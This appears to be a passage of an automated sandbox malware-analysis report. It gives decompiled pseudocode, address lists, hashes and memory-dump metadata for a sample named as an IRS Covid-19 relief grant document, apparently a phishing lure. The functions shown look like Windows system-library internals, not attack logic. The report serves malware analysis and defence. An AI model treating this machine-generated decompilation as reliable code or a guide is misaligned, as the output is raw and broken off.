												_t339 =  *(_t277 + 4);
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E1E27FFB0(_t287, _t353, 0x1e3584d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E1E2BCC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E1E276600(0x1e3552d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E1E277926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0x1e35b239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E1E2EE974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0x1e358472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														_t361 =  *0x1e35b218; // 0x0
														asm("ror edi, cl");
														 *0x1e35b1e0( &_v192, _t353, _v168, 0, _v180);
														 *(_t361 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E1E282280(_t250, 0x1e3584d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L1E2A3898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E1E27FFB0(_t293, _t353, 0x1e3584d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E1E2A37F5(_t353, 0);
																}
																E1E2A0413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E1E299B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E1E2902D6(_t174);
																}
																L1E2877F0( *0x1e357b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E1E29C277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L1E27EC7F(_t353);
										L1E2919B8(_t287, 0, _t353, 0);
										_t200 = E1E26F4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L1E2877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E1E2AB640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_t206 =  *0x1e35b2f8; // 0x0
									if((_t206 |  *0x1e35b2fc) == 0 || ( *0x1e35b2e4 & 0x00000001) != 0) {
										goto L46;
									} else {
										_t297 =  *0x1e35b2ec; // 0x0
										_v200 = 0;
										if((_t297 >> 0x00000008 & 0x00000003) == 3) {
											_t355 = _v168;
											_t342 =  &_v208;
											_t208 = E1E316B68(_v168,  &_v208, _v168, __eflags);
											__eflags = _t208 - 1;
											if(_t208 == 1) {
												goto L46;
											} else {
												__eflags = _v208 & 0x00000010;
												if((_v208 & 0x00000010) == 0) {
													goto L46;
												} else {
													_t342 = 4;
													_t366 = E1E316AEB(_t355, 4,  &_v216);
													__eflags = _t366;
													if(_t366 >= 0) {
														goto L46;
													} else {
														asm("int 0x29");
														_t356 = 0;
														_v44 = 0;
														_t290 = _v52;
														__eflags = 0;
														if(0 == 0) {
															L108:
															_t356 = 0;
															_v44 = 0;
															goto L63;
														} else {
															__eflags = 0;
															if(0 < 0) {
																goto L108;
															}
															L63:
															_v112 = _t356;
															__eflags = _t356;
															if(_t356 == 0) {
																L143:
																_v8 = 0xfffffffe;
																_t211 = 0xc0000089;
															} else {
																_v36 = 0;
																_v60 = 0;
																_v48 = 0;
																_v68 = 0;
																_v44 = _t290 & 0xfffffffc;
																E1E27E9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
																_t306 = _v68;
																__eflags = _t306;
																if(_t306 == 0) {
																	_t216 = 0xc000007b;
																	_v36 = 0xc000007b;
																	_t307 = _v60;
																} else {
																	__eflags = _t290 & 0x00000001;
																	if(__eflags == 0) {
																		_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																		__eflags = _t349 - 0x10b;
																		if(_t349 != 0x10b) {
																			__eflags = _t349 - 0x20b;
																			if(_t349 == 0x20b) {
																				goto L102;
																			} else {
																				_t307 = 0;
																				_v48 = 0;
																				_t216 = 0xc000007b;
																				_v36 = 0xc000007b;
																				goto L71;
																			}
																		} else {
																			L102:
																			_t307 =  *(_t306 + 0x50);
																			goto L69;
																		}
																		goto L151;
																	} else {
																		_t239 = L1E27EAEA(_t290, _t290, _t356, _t366, __eflags);
																		_t307 = _t239;
																		_v60 = _t307;
																		_v48 = _t307;
																		__eflags = _t307;
																		if(_t307 != 0) {
																			L70:
																			_t216 = _v36;
																		} else {
																			_push(_t239);
																			_push(0x14);
																			_push( &_v144);
																			_push(3);
																			_push(_v44);
																			_push(0xffffffff);
																			_t319 = E1E2A9730();
																			_v36 = _t319;
																			__eflags = _t319;
																			if(_t319 < 0) {
																				_t216 = 0xc000001f;
																				_v36 = 0xc000001f;
																				_t307 = _v60;
																			} else {
																				_t307 = _v132;
																				L69:
																				_v48 = _t307;
																				goto L70;
																			}
																		}
																	}
																}
																L71:
																_v72 = _t307;
																_v84 = _t216;
																__eflags = _t216 - 0xc000007b;
																if(_t216 == 0xc000007b) {
																	L150:
																	_v8 = 0xfffffffe;
																	_t211 = 0xc000007b;
																} else {
																	_t344 = _t290 & 0xfffffffc;
																	_v76 = _t344;
																	__eflags = _v40 - _t344;
																	if(_v40 <= _t344) {
																		goto L150;
																	} else {
																		__eflags = _t307;
																		if(_t307 == 0) {
																			L75:
																			_t217 = 0;
																			_v104 = 0;
																			__eflags = _t366;
																			if(_t366 != 0) {
																				__eflags = _t290 & 0x00000001;
																				if((_t290 & 0x00000001) != 0) {
																					_t217 = 1;
																					_v104 = 1;
																				}
																				_t290 = _v44;
																				_v52 = _t290;
																			}
																			__eflags = _t217 - 1;
																			if(_t217 != 1) {
																				_t369 = 0;
																				_t218 = _v40;
																				goto L91;
																			} else {
																				_v64 = 0;
																				E1E27E9C0(1, _t290, 0, 0,  &_v64);
																				_t309 = _v64;
																				_v108 = _t309;
																				__eflags = _t309;
																				if(_t309 == 0) {
																					goto L143;
																				} else {
																					_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																					__eflags = _t226 - 0x10b;
																					if(_t226 != 0x10b) {
																						__eflags = _t226 - 0x20b;
																						if(_t226 != 0x20b) {
																							goto L143;
																						} else {
																							_t371 =  *(_t309 + 0x98);
																							goto L83;
																						}
																					} else {
																						_t371 =  *(_t309 + 0x88);
																						L83:
																						__eflags = _t371;
																						if(_t371 != 0) {
																							_v80 = _t371 - _t356 + _t290;
																							_t310 = _v64;
																							_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																							_t292 =  *(_t310 + 6) & 0x0000ffff;
																							_t311 = 0;
																							__eflags = 0;
																							while(1) {
																								_v120 = _t311;
																								_v116 = _t348;
																								__eflags = _t311 - _t292;
																								if(_t311 >= _t292) {
																									goto L143;
																								}
																								_t359 =  *((intOrPtr*)(_t348 + 0xc));
																								__eflags = _t371 - _t359;
																								if(_t371 < _t359) {
																									L98:
																									_t348 = _t348 + 0x28;
																									_t311 = _t311 + 1;
																									continue;
																								} else {
																									__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																									if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																										goto L98;
																									} else {
																										__eflags = _t348;
																										if(_t348 == 0) {
																											goto L143;
																										} else {
																											_t218 = _v40;
																											_t312 =  *_t218;
																											__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																											if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																												_v100 = _t359;
																												_t360 = _v108;
																												_t372 = L1E278F44(_v108, _t312);
																												__eflags = _t372;
																												if(_t372 == 0) {
																													goto L143;
																												} else {
																													_t290 = _v52;
																													_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E1E2A3C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																													_t307 = _v72;
																													_t344 = _v76;
																													_t218 = _v40;
																													goto L91;
																												}
																											} else {
																												_t290 = _v52;
																												_t307 = _v72;
																												_t344 = _v76;
																												_t369 = _v80;
																												L91:
																												_t358 = _a4;
																												__eflags = _t358;
																												if(_t358 == 0) {
																													L95:
																													_t308 = _a8;
																													__eflags = _t308;
																													if(_t308 != 0) {
																														 *_t308 =  *((intOrPtr*)(_v40 + 4));
																													}
																													_v8 = 0xfffffffe;
																													_t211 = _v84;
																												} else {
																													_t370 =  *_t218 - _t369 + _t290;
																													 *_t358 = _t370;
																													__eflags = _t370 - _t344;
																													if(_t370 <= _t344) {
																														L149:
																														 *_t358 = 0;
																														goto L150;
																													} else {
																														__eflags = _t307;
																														if(_t307 == 0) {
																															goto L95;
																														} else {
																															__eflags = _t370 - _t344 + _t307;
																															if(_t370 >= _t344 + _t307) {
																																goto L149;
																															} else {
																																goto L95;
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L97;
																							}
																						}
																						goto L143;
																					}
																				}
																			}
																		} else {
																			__eflags = _v40 - _t307 + _t344;
																			if(_v40 >= _t307 + _t344) {
																				goto L150;
																			} else {
																				goto L75;
																			}
																		}
																	}
																}
															}
															L97:
															 *[fs:0x0] = _v20;
															return _t211;
														}
													}
												}
											}
										} else {
											goto L46;
										}
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x1e27d5f2
0x1e27d5f5
0x1e27d5f5
0x1e27d5fd
0x1e27d600
0x1e27d60a
0x1e27d60d
0x1e27d617
0x1e27d61d
0x1e27d627
0x1e27d62e
0x1e27d911
0x1e27d913
0x00000000
0x1e27d919
0x1e27d919
0x1e27d919
0x1e27d634
0x1e27d634
0x1e27d634
0x1e27d634
0x1e27d640
0x1e27d8bf
0x00000000
0x1e27d646
0x1e27d646
0x1e27d64d
0x1e27d652
0x1e2cb2fc
0x1e2cb2fc
0x1e2cb302
0x1e2cb33b
0x1e2cb341
0x00000000
0x1e2cb304
0x1e2cb304
0x1e2cb319
0x1e2cb31e
0x1e2cb324
0x1e2cb326
0x1e2cb332
0x1e2cb347
0x1e2cb34c
0x1e2cb351
0x1e2cb35a
0x00000000
0x1e2cb328
0x1e2cb328
0x00000000
0x1e2cb328
0x1e2cb326
0x1e27d658
0x1e27d658
0x1e27d65b
0x1e27d665
0x00000000
0x1e27d66b
0x1e27d66b
0x1e27d66b
0x1e27d66b
0x1e27d66d
0x1e27d672
0x1e27d67a
0x00000000
0x00000000
0x1e27d680
0x1e27d686
0x1e27d8ce
0x1e27d8d4
0x1e27d8dd
0x1e27d8e0
0x1e27d68c
0x1e27d691
0x1e27d69d
0x1e27d6a2
0x1e27d6a7
0x1e27d6b0
0x1e27d6b5
0x1e27d6e0
0x1e27d6b7
0x1e27d6b7
0x1e27d6b9
0x1e27d6b9
0x1e27d6bb
0x1e27d6bd
0x1e27d6ce
0x1e27d6d0
0x1e27d6d2
0x1e2cb363
0x1e2cb365
0x00000000
0x1e2cb36b
0x00000000
0x1e2cb36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1e27d6bf
0x1e27d6bf
0x1e27d6e5
0x1e27d6e7
0x1e27d6e9
0x1e27d6ec
0x1e27d6ec
0x1e27d6ef
0x1e27d6f5
0x1e27d6f9
0x1e27d6fb
0x1e27d6fd
0x1e27d701
0x1e27d703
0x1e27d70a
0x1e27d70a
0x1e27d701
0x1e27d710
0x1e27d710
0x1e27d6c1
0x1e27d6c1
0x1e27d6c6
0x1e2cb36d
0x1e2cb36f
0x00000000
0x1e2cb375
0x1e2cb375
0x1e2cb375
0x00000000
0x1e2cb375
0x00000000
0x1e27d6cc
0x1e27d6d8
0x1e27d6d8
0x1e27d6d8
0x00000000
0x1e27d6c6
0x1e27d6bf
0x00000000
0x1e27d6da
0x1e27d6da
0x1e27d716
0x1e27d71b
0x1e27d720
0x1e27d726
0x1e27d726
0x1e27d72d
0x00000000
0x1e27d733
0x1e27d739
0x1e27d742
0x1e27d750
0x1e27d758
0x1e27d764
0x1e27d776
0x1e27d77a
0x1e27d783
0x1e27d928
0x1e27d92c
0x1e27d93d
0x1e27d944
0x1e27d94f
0x1e27d954
0x1e27d956
0x1e27d95f
0x1e27d961
0x1e27d973
0x1e27d973
0x1e27d956
0x1e27d944
0x1e27d92c
0x1e27d78b
0x1e2cb394
0x1e27d791
0x1e27d798
0x1e2cb3a3
0x1e2cb3bb
0x1e2cb3bb
0x1e27d7a5
0x1e27d866
0x1e27d870
0x1e27d884
0x1e27d892
0x1e27d898
0x1e27d89e
0x1e27d8a0
0x1e27d8a6
0x1e27d8ac
0x1e27d8ae
0x1e27d8b4
0x1e27d8b4
0x1e27d8ae
0x1e27d7a5
0x1e27d78b
0x1e27d7b1
0x1e2cb3c5
0x1e2cb3c5
0x1e27d7c3
0x1e27d7ca
0x1e27d7e5
0x1e27d7eb
0x1e27d8eb
0x1e27d8ed
0x00000000
0x1e27d8f3
0x1e27d8f3
0x1e27d8f3
0x00000000
0x1e27d8ed
0x1e27d7cc
0x1e27d7cc
0x1e27d7d2
0x00000000
0x1e27d7d4
0x1e27d7d4
0x1e27d7d7
0x1e27d7df
0x1e2cb3d4
0x1e2cb3d9
0x1e2cb3dc
0x1e2cb3dc
0x1e2cb3df
0x1e2cb3e2
0x1e2cb468
0x1e2cb46d
0x1e2cb46f
0x1e2cb46f
0x1e2cb475
0x1e27d8f8
0x1e27d8f9
0x1e27d8fd
0x1e2cb3e8
0x1e2cb3e8
0x1e2cb3eb
0x1e2cb3ed
0x00000000
0x1e2cb3ef
0x1e2cb3ef
0x1e2cb3f1
0x1e2cb3f4
0x1e2cb3fe
0x1e2cb404
0x1e2cb409
0x1e2cb40e
0x1e2cb410
0x1e2cb410
0x1e2cb414
0x1e2cb414
0x1e2cb41b
0x1e2cb420
0x1e2cb423
0x1e2cb425
0x1e2cb427
0x1e2cb42a
0x1e2cb42d
0x1e2cb42d
0x1e2cb42a
0x1e2cb432
0x1e2cb436
0x1e2cb438
0x1e2cb43b
0x1e2cb43b
0x1e2cb449
0x1e2cb44e
0x1e2cb454
0x1e2cb458
0x1e2cb458
0x1e2cb45d
0x00000000
0x1e2cb45d
0x1e2cb3ed
0x00000000
0x00000000
0x00000000
0x1e27d7df
0x1e27d7d2
0x1e27d7ca
0x1e2cb37c
0x1e2cb37e
0x1e2cb385
0x1e2cb38a
0x00000000
0x1e2cb38a
0x1e27d742
0x1e27d7f1
0x1e27d7f8
0x1e2cb49b
0x1e2cb49b
0x1e27d800
0x1e27d837
0x1e27d843
0x1e27d845
0x1e27d847
0x1e27d84a
0x1e27d84b
0x1e27d84e
0x1e27d857
0x1e27d802
0x1e27d802
0x1e27d80d
0x00000000
0x1e27d818
0x1e27d818
0x1e27d824
0x1e27d831
0x1e2cb4a5
0x1e2cb4ab
0x1e2cb4b3
0x1e2cb4b8
0x1e2cb4bb
0x00000000
0x1e2cb4c1
0x1e2cb4c1
0x1e2cb4c8
0x00000000
0x1e2cb4ce
0x1e2cb4d4
0x1e2cb4e1
0x1e2cb4e3
0x1e2cb4e5
0x00000000
0x1e2cb4eb
0x1e2cb4f0
0x1e2cb4f2
0x1e27dac9
0x1e27dacc
0x1e27dacf
0x1e27dad1
0x1e27dd78
0x1e27dd78
0x1e27dcf2
0x00000000
0x1e27dad7
0x1e27dad9
0x1e27dadb
0x00000000
0x00000000
0x1e27dae1
0x1e27dae1
0x1e27dae4
0x1e27dae6
0x1e2cb4f9
0x1e2cb4f9
0x1e2cb500
0x1e27daec
0x1e27daec
0x1e27daf5
0x1e27daf8
0x1e27dafb
0x1e27db03
0x1e27db11
0x1e27db16
0x1e27db19
0x1e27db1b
0x1e2cb52c
0x1e2cb531
0x1e2cb534
0x1e27db21
0x1e27db21
0x1e27db24
0x1e27dcd9
0x1e27dce2
0x1e27dce5
0x1e27dd6a
0x1e27dd6d
0x00000000
0x1e27dd73
0x1e2cb51a
0x1e2cb51c
0x1e2cb51f
0x1e2cb524
0x00000000
0x1e2cb524
0x1e27dce7
0x1e27dce7
0x1e27dce7
0x00000000
0x1e27dce7
0x00000000
0x1e27db2a
0x1e27db2c
0x1e27db31
0x1e27db33
0x1e27db36
0x1e27db39
0x1e27db3b
0x1e27db66
0x1e27db66
0x1e27db3d
0x1e27db3d
0x1e27db3e
0x1e27db46
0x1e27db47
0x1e27db49
0x1e27db4c
0x1e27db53
0x1e27db55
0x1e27db58
0x1e27db5a
0x1e2cb50a
0x1e2cb50f
0x1e2cb512
0x1e27db60
0x1e27db60
0x1e27db63
0x1e27db63
0x00000000
0x1e27db63
0x1e27db5a
0x1e27db3b
0x1e27db24
0x1e27db69
0x1e27db69
0x1e27db6c
0x1e27db6f
0x1e27db74
0x1e2cb557
0x1e2cb557
0x1e2cb55e
0x1e27db7a
0x1e27db7c
0x1e27db7f
0x1e27db82
0x1e27db85
0x00000000
0x1e27db8b
0x1e27db8b
0x1e27db8d
0x1e27db9b
0x1e27db9b
0x1e27db9d
0x1e27dba0
0x1e27dba2
0x1e27dba4
0x1e27dba7
0x1e27dba9
0x1e27dbae
0x1e27dbae
0x1e27dbb1
0x1e27dbb4
0x1e27dbb4
0x1e27dbb7
0x1e27dbba
0x1e27dcd2
0x1e27dcd4
0x00000000
0x1e27dbc0
0x1e27dbc0
0x1e27dbd2
0x1e27dbd7
0x1e27dbda
0x1e27dbdd
0x1e27dbdf
0x00000000
0x1e27dbe5
0x1e27dbe5
0x1e27dbee
0x1e27dbf1
0x1e2cb541
0x1e2cb544
0x00000000
0x1e2cb546
0x1e2cb546
0x00000000
0x1e2cb546
0x1e27dbf7
0x1e27dbf7
0x1e27dbfd
0x1e27dbfd
0x1e27dbff
0x1e27dc0b
0x1e27dc15
0x1e27dc1b
0x1e27dc1d
0x1e27dc21
0x1e27dc21
0x1e27dc23
0x1e27dc23
0x1e27dc26
0x1e27dc29
0x1e27dc2b
0x00000000
0x00000000
0x1e27dc31
0x1e27dc34
0x1e27dc36
0x1e27dcbf
0x1e27dcbf
0x1e27dcc2
0x00000000
0x1e27dc3c
0x1e27dc41
0x1e27dc43
0x00000000
0x1e27dc45
0x1e27dc45
0x1e27dc47
0x00000000
0x1e27dc4d
0x1e27dc4d
0x1e27dc50
0x1e27dc52
0x1e27dc55
0x1e27dcfa
0x1e27dcfe
0x1e27dd08
0x1e27dd0a
0x1e27dd0c
0x00000000
0x1e27dd12
0x1e27dd15
0x1e27dd2d
0x1e27dd2f
0x1e27dd32
0x1e27dd35
0x00000000
0x1e27dd35
0x1e27dc5b
0x1e27dc5b
0x1e27dc5e
0x1e27dc61
0x1e27dc64
0x1e27dc67
0x1e27dc67
0x1e27dc6a
0x1e27dc6c
0x1e27dc8e
0x1e27dc8e
0x1e27dc91
0x1e27dc93
0x1e27dcce
0x1e27dcce
0x1e27dc95
0x1e27dc9c
0x1e27dc6e
0x1e27dc72
0x1e27dc75
0x1e27dc77
0x1e27dc79
0x1e2cb551
0x1e2cb551
0x00000000
0x1e27dc7f
0x1e27dc7f
0x1e27dc81
0x00000000
0x1e27dc83
0x1e27dc86
0x1e27dc88
0x00000000
0x00000000
0x00000000
0x00000000
0x1e27dc88
0x1e27dc81
0x1e27dc79
0x1e27dc6c
0x1e27dc55
0x1e27dc47
0x1e27dc43
0x00000000
0x1e27dc36
0x1e27dc23
0x00000000
0x1e27dbff
0x1e27dbf1
0x1e27dbdf
0x1e27db8f
0x1e27db92
0x1e27db95
0x00000000
0x00000000
0x00000000
0x00000000
0x1e27db95
0x1e27db8d
0x1e27db85
0x1e27db74
0x1e27dc9f
0x1e27dca2
0x1e27dcb0
0x1e27dcb0
0x1e27dad1
0x1e2cb4e5
0x1e2cb4c8
0x00000000
0x00000000
0x00000000
0x1e27d831
0x1e27d80d
0x00000000
0x1e27d800
0x1e2cb47f
0x1e2cb485
0x00000000
0x1e2cb485
0x1e27d665
0x1e27d652
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 1E27D898

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 343715efd5ed0b3b272cec1c20c094da71177e76096ff3676161484d243a31ba
Instruction ID: 1dade8d12b39cc09bc858a40b555e327352fb0cd9965e94dfc61815b3a7d4726
Opcode Fuzzy Hash: 343715efd5ed0b3b272cec1c20c094da71177e76096ff3676161484d243a31ba
Instruction Fuzzy Hash: DBE1C235E0429A8FDB24CF25C8B0B69B7B6BF96304F2147A9D84997390DB34AD81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 1E32D466, Relevance: 1.6, APIs: 1, Instructions: 123
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 67%

			E1E32D466(signed int __ecx, unsigned int __edx, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				char _v9;
				intOrPtr _v16;
				short _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t53;
				signed int _t67;
				signed char _t75;
				short _t84;
				signed int _t87;
				short* _t89;
				unsigned int _t90;
				signed int _t95;
				void* _t98;
				signed int _t99;

				_v8 =  *0x1e35d360 ^ _t99;
				_t90 = __edx;
				_v36 = __ecx;
				_v20 = 0;
				_v40 = __edx >> 0x0000000c & 0x0000ffff ^  *(__edx + 0x18) & 0x0000ffff ^  *0x1e356114 & 0x0000ffff;
				_v28 = 0;
				_t87 = E1E32DDF9(__edx, _a4, __edx >> 0x0000000c & 0x0000ffff ^  *(__edx + 0x18) & 0x0000ffff ^  *0x1e356114 & 0x0000ffff,  &_v24,  &_v28, __edx >> 0x0000000c & 0x0000ffff ^  *(__edx + 0x18) & 0x0000ffff ^  *0x1e356114 & 0x0000ffff,  &_v9);
				_v32 = _t87;
				if(_t87 != 0xffffffff) {
					_t75 =  *(__edx + 0x1c) & 0x000000ff;
					_v20 = 1;
					_v16 = 1;
					 *0x1e35b1e0( *__ecx, (_t87 << _t75) + __edx, _v24 << _t75);
					_t53 =  *( *(__ecx + 0xc) ^  *0x1e356110 ^ __ecx)();
					_t69 = _t53;
					if(_t53 < 0) {
						_t88 = _v16;
					} else {
						_t69 = 0;
						_t98 = 0;
						_t89 = ( *(__edx + 0x1e) & 0x0000ffff) + __edx + _v32 * 2;
						asm("sbb eax, eax");
						_t67 =  !(_v24 + _v24 + _t89) & _v24 + _v24 >> 0x00000001;
						if(_t67 > 0) {
							_t84 = _v20;
							do {
								if( *_t89 == _t69) {
									 *_t89 = _t84;
								}
								_t89 = _t89 + 2;
								_t98 = _t98 + 1;
							} while (_t98 < _t67);
						}
						goto L2;
						L18:
					}
				} else {
					_t69 = 0;
					L2:
					_t88 = _t69;
				}
				_t95 = _v28;
				if(_t95 != 0) {
					_t95 =  ~(_t95 <<  *(_t90 + 0x1c) >> 0xc);
					asm("lock xadd [eax], esi");
				}
				if(_t88 != 0) {
					_t88 = _a4;
					E1E32D864(_t90, _a4, _v40, 2, 0);
				}
				if(_v20 != 0) {
					E1E27FFB0(_t69, _t90, _t90 + 0xc);
				}
				return E1E2AB640(_t69, _t69, _v8 ^ _t99, _t88, _t90, _t95);
				goto L18;
			}

0x1e32d475
0x1e32d47b
0x1e32d492
0x1e32d49e
0x1e32d4a4
0x1e32d4ac
0x1e32d4bc
0x1e32d4be
0x1e32d4c4
0x1e32d4cc
0x1e32d4dc
0x1e32d4e1
0x1e32d4f5
0x1e32d4fb
0x1e32d4fd
0x1e32d501
0x1e32d53d
0x1e32d503
0x1e32d507
0x1e32d50e
0x1e32d510
0x1e32d520
0x1e32d524
0x1e32d526
0x1e32d528
0x1e32d52b
0x1e32d52e
0x1e32d530
0x1e32d530
0x1e32d533
0x1e32d536
0x1e32d537
0x1e32d53b
0x00000000
0x00000000
0x1e32d526
0x1e32d4c6
0x1e32d4c6
0x1e32d4c8
0x1e32d4c8
0x1e32d4c8
0x1e32d540
0x1e32d545
0x1e32d555
0x1e32d55a
0x1e32d55a
0x1e32d560
0x1e32d562
0x1e32d56e
0x1e32d56e
0x1e32d577
0x1e32d57d
0x1e32d57d
0x1e32d594
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 1E32D4F5

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 91cc13384a3723bb863e1f82eaeabdf1415efb4dc7b9b0360f4449dbb97cc69f
Instruction ID: 7717521ca0229dc5d2efcd83ec2e5263e1340a17d49aa4112edb03887cec1491
Opcode Fuzzy Hash: 91cc13384a3723bb863e1f82eaeabdf1415efb4dc7b9b0360f4449dbb97cc69f
Instruction Fuzzy Hash: E0418271E0012A9BCB04CF69C895ABEB7F9FF88214BA14369E855E7240DB70ED45CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 1E292581, Relevance: 1.6, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E1E292581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				void* _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t229;
				signed int _t233;
				signed int _t243;
				signed int _t245;
				intOrPtr _t247;
				signed int _t250;
				signed int _t257;
				signed int _t260;
				signed int _t268;
				signed int _t274;
				signed int _t276;
				void* _t278;
				signed int _t279;
				unsigned int _t282;
				signed int _t286;
				intOrPtr* _t287;
				signed int _t288;
				signed int _t292;
				intOrPtr _t305;
				signed int _t314;
				signed int _t316;
				signed int _t317;
				signed int _t321;
				signed int _t322;
				intOrPtr* _t324;
				intOrPtr* _t325;
				signed int _t326;
				signed int _t328;
				signed int _t331;
				void* _t332;
				void* _t334;

				_t328 = _t331;
				_t332 = _t331 - 0x4c;
				_v8 =  *0x1e35d360 ^ _t328;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t321 = 0x1e35b2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t282 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
				_t334 = (_v24 >> 0x0000001c & 0x00000003) - 1;
				_t274 = 0x48;
				_t302 = 0 | _t334 == 0x00000000;
